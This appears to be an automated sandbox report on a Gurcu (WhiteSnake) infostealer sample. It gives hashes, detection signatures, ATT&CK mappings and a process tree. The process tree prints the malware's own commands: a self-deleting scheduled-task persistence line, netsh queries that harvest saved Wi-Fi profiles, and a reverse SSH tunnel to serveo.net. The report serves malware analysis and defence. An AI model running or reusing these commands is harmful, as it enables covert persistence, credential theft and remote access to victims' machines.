gurcu | 0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

Analysis

max time kernel
143s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
13-09-2023 16:16

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General

Target

Vfd663501e1ac13eb331505b8388e675450.exe
Size

121KB
MD5

35625d89730f70f12ecdeaf795722865
SHA1

0fedcad5039e3317d0e434bb038b81850e8f3599
SHA256

0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5
SHA512

edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301
SSDEEP

3072:qQ2NGg7V7MOrwPRT3KhM9bFcLyoDtfXtRW5FhpAB0H/aAz:aGmg9bFc/p25FJa

Score

10^/10

gurcu collection discovery spyware stealer

Malware Config

Signatures

Detect Gurcu Stealer V3 payload 4 IoCs

resource	yara_rule
behavioral2/memory/1304-0-0x000002A63AEF0000-0x000002A63AF14000-memory.dmp	family_gurcu_v3
behavioral2/files/0x00080000000231d9-8.dat	family_gurcu_v3
behavioral2/files/0x00080000000231d9-9.dat	family_gurcu_v3
behavioral2/files/0x00080000000231d9-15.dat	family_gurcu_v3

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Control Panel\International\Geo\Nation	Vfd663501e1ac13eb331505b8388e675450.exe

Executes dropped EXE 2 IoCs

pid	Process
4244	Vfd663501e1ac13eb331505b8388e675450.exe
2596	Vfd663501e1ac13eb331505b8388e675450.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4536	schtasks.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4464	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4244	Vfd663501e1ac13eb331505b8388e675450.exe
4244	Vfd663501e1ac13eb331505b8388e675450.exe
2596	Vfd663501e1ac13eb331505b8388e675450.exe
2596	Vfd663501e1ac13eb331505b8388e675450.exe
2596	Vfd663501e1ac13eb331505b8388e675450.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1304	Vfd663501e1ac13eb331505b8388e675450.exe
Token: SeDebugPrivilege	4244	Vfd663501e1ac13eb331505b8388e675450.exe
Token: SeDebugPrivilege	2596	Vfd663501e1ac13eb331505b8388e675450.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 5028	1304	Vfd663501e1ac13eb331505b8388e675450.exe	85
PID 1304 wrote to memory of 5028	1304	Vfd663501e1ac13eb331505b8388e675450.exe	85
PID 5028 wrote to memory of 4880	5028	cmd.exe	87
PID 5028 wrote to memory of 4880	5028	cmd.exe	87
PID 5028 wrote to memory of 4464	5028	cmd.exe	88
PID 5028 wrote to memory of 4464	5028	cmd.exe	88
PID 5028 wrote to memory of 4536	5028	cmd.exe	93
PID 5028 wrote to memory of 4536	5028	cmd.exe	93
PID 5028 wrote to memory of 4244	5028	cmd.exe	95
PID 5028 wrote to memory of 4244	5028	cmd.exe	95
PID 4244 wrote to memory of 4272	4244	Vfd663501e1ac13eb331505b8388e675450.exe	96
PID 4244 wrote to memory of 4272	4244	Vfd663501e1ac13eb331505b8388e675450.exe	96
PID 4272 wrote to memory of 900	4272	cmd.exe	98
PID 4272 wrote to memory of 900	4272	cmd.exe	98
PID 4272 wrote to memory of 2392	4272	cmd.exe	99
PID 4272 wrote to memory of 2392	4272	cmd.exe	99
PID 4272 wrote to memory of 3764	4272	cmd.exe	100
PID 4272 wrote to memory of 3764	4272	cmd.exe	100
PID 4244 wrote to memory of 2600	4244	Vfd663501e1ac13eb331505b8388e675450.exe	103
PID 4244 wrote to memory of 2600	4244	Vfd663501e1ac13eb331505b8388e675450.exe	103
PID 2600 wrote to memory of 392	2600	cmd.exe	105
PID 2600 wrote to memory of 392	2600	cmd.exe	105
PID 2600 wrote to memory of 1668	2600	cmd.exe	106
PID 2600 wrote to memory of 1668	2600	cmd.exe	106
PID 2600 wrote to memory of 2580	2600	cmd.exe	107
PID 2600 wrote to memory of 2580	2600	cmd.exe	107
PID 4244 wrote to memory of 2176	4244	Vfd663501e1ac13eb331505b8388e675450.exe	108
PID 4244 wrote to memory of 2176	4244	Vfd663501e1ac13eb331505b8388e675450.exe	108
PID 2596 wrote to memory of 4596	2596	Vfd663501e1ac13eb331505b8388e675450.exe	113
PID 2596 wrote to memory of 4596	2596	Vfd663501e1ac13eb331505b8388e675450.exe	113
PID 4596 wrote to memory of 5060	4596	cmd.exe	115
PID 4596 wrote to memory of 5060	4596	cmd.exe	115
PID 4596 wrote to memory of 3860	4596	cmd.exe	116
PID 4596 wrote to memory of 3860	4596	cmd.exe	116
PID 4596 wrote to memory of 5044	4596	cmd.exe	117
PID 4596 wrote to memory of 5044	4596	cmd.exe	117
PID 2596 wrote to memory of 1236	2596	Vfd663501e1ac13eb331505b8388e675450.exe	118
PID 2596 wrote to memory of 1236	2596	Vfd663501e1ac13eb331505b8388e675450.exe	118
PID 1236 wrote to memory of 4552	1236	cmd.exe	121
PID 1236 wrote to memory of 4552	1236	cmd.exe	121
PID 1236 wrote to memory of 3084	1236	cmd.exe	122
PID 1236 wrote to memory of 3084	1236	cmd.exe	122
PID 1236 wrote to memory of 3636	1236	cmd.exe	123
PID 1236 wrote to memory of 3636	1236	cmd.exe	123
PID 2596 wrote to memory of 5092	2596	Vfd663501e1ac13eb331505b8388e675450.exe	124
PID 2596 wrote to memory of 5092	2596	Vfd663501e1ac13eb331505b8388e675450.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2474409663-2236862430-1045297337-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Vfd663501e1ac13eb331505b8388e675450.exe

C:\Users\Admin\AppData\Local\Temp\Vfd663501e1ac13eb331505b8388e675450.exe
"C:\Users\Admin\AppData\Local\Temp\Vfd663501e1ac13eb331505b8388e675450.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "Vfd663501e1ac13eb331505b8388e675450" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\Vfd663501e1ac13eb331505b8388e675450.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4880
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4464
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Vfd663501e1ac13eb331505b8388e675450" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:4536
- - C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4244
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4272
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:900
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        5⤵
        
        PID:2392
    - - C:\Windows\system32\findstr.exe
        
        findstr /R /C:"[ ]:[ ]"
        5⤵
        
        PID:3764
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2600
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:392
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        
        PID:1668
    - - C:\Windows\system32\findstr.exe
        
        findstr "SSID BSSID Signal"
        5⤵
        
        PID:2580
  - - C:\Windows\System32\OpenSSH\ssh.exe
      "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:8229 serveo.net
      4⤵
      PID:2176

C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe
C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe
1⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:2596
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4596
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:5060
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    PID:3860
- - C:\Windows\system32\findstr.exe
    findstr /R /C:"[ ]:[ ]"
    3⤵
    PID:5044
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1236
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:4552
- - C:\Windows\system32\netsh.exe
    netsh wlan show networks mode=bssid
    3⤵
    PID:3084
- - C:\Windows\system32\findstr.exe
    findstr "SSID BSSID Signal"
    3⤵
    PID:3636
- C:\Windows\System32\OpenSSH\ssh.exe
  "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:8229 serveo.net
  2⤵
  PID:5092

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\.ssh\known_hosts

Filesize
407B

MD5
2ba3694520311cffb8e5d96217fd28f2

SHA1
7ed0af02238d6b1ce5becd6bdadbb85dca1b2a83

SHA256
121df228d77537d6043cb474e996d2b7279156ac540762e6cf1c0b35a378b626

SHA512
83536222c4dd6f326198b9681a0e7a4d44307648a2b4905a504e2c3f8e6113a79ec1d75adb160d77a107f3f0c5efe0a094e45aba2c29efa9e3e46f7e6cb17a7c

Download Submit
C:\Users\Admin\AppData\Local\477mflh5px\port.dat

Filesize
4B

MD5
0396df57e78b6d04b6854dd682e27b3c

SHA1
67b3808fac79cbad380ff8550a72354870be5b73

SHA256
e9297a9f26942ce6d80b40dd566c86ee7ae4918109c50bdd306730ab5139e011

SHA512
ecc5b805d9039f6c9694ca59fd56c47c7cc27e8a6eafcfca4f1a95c5f0d2268d4dce3ee4b66444cd76fdd20c17e63ffed2e23da1dab8c8c05957e36f3d1c80e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Vfd663501e1ac13eb331505b8388e675450.exe.log

Filesize
847B

MD5
3308a84a40841fab7dfec198b3c31af7

SHA1
4e7ab6336c0538be5dd7da529c0265b3b6523083

SHA256
169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e

SHA512
97521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe

Filesize
121KB

MD5
35625d89730f70f12ecdeaf795722865

SHA1
0fedcad5039e3317d0e434bb038b81850e8f3599

SHA256
0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

SHA512
edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe

Filesize
121KB

MD5
35625d89730f70f12ecdeaf795722865

SHA1
0fedcad5039e3317d0e434bb038b81850e8f3599

SHA256
0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

SHA512
edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe

Filesize
121KB

MD5
35625d89730f70f12ecdeaf795722865

SHA1
0fedcad5039e3317d0e434bb038b81850e8f3599

SHA256
0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

SHA512
edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301

Download Submit
memory/1304-0-0x000002A63AEF0000-0x000002A63AF14000-memory.dmp

Filesize
144KB

Download
memory/1304-3-0x00007FFD45B20000-0x00007FFD465E1000-memory.dmp

Filesize
10.8MB

Download
memory/1304-4-0x000002A655420000-0x000002A655430000-memory.dmp

Filesize
64KB

Download
memory/1304-6-0x00007FFD45B20000-0x00007FFD465E1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-18-0x000001A131080000-0x000001A131090000-memory.dmp

Filesize
64KB

Download
memory/2596-17-0x00007FFD447E0000-0x00007FFD452A1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-22-0x00007FFD447E0000-0x00007FFD452A1000-memory.dmp

Filesize
10.8MB

Download
memory/2596-23-0x000001A131080000-0x000001A131090000-memory.dmp

Filesize
64KB

Download
memory/4244-16-0x00007FFD447E0000-0x00007FFD452A1000-memory.dmp

Filesize
10.8MB

Download
memory/4244-12-0x0000012C7CF50000-0x0000012C7CF60000-memory.dmp

Filesize
64KB

Download
memory/4244-20-0x0000012C7CF50000-0x0000012C7CF60000-memory.dmp

Filesize
64KB

Download
memory/4244-11-0x00007FFD447E0000-0x00007FFD452A1000-memory.dmp

Filesize
10.8MB

Download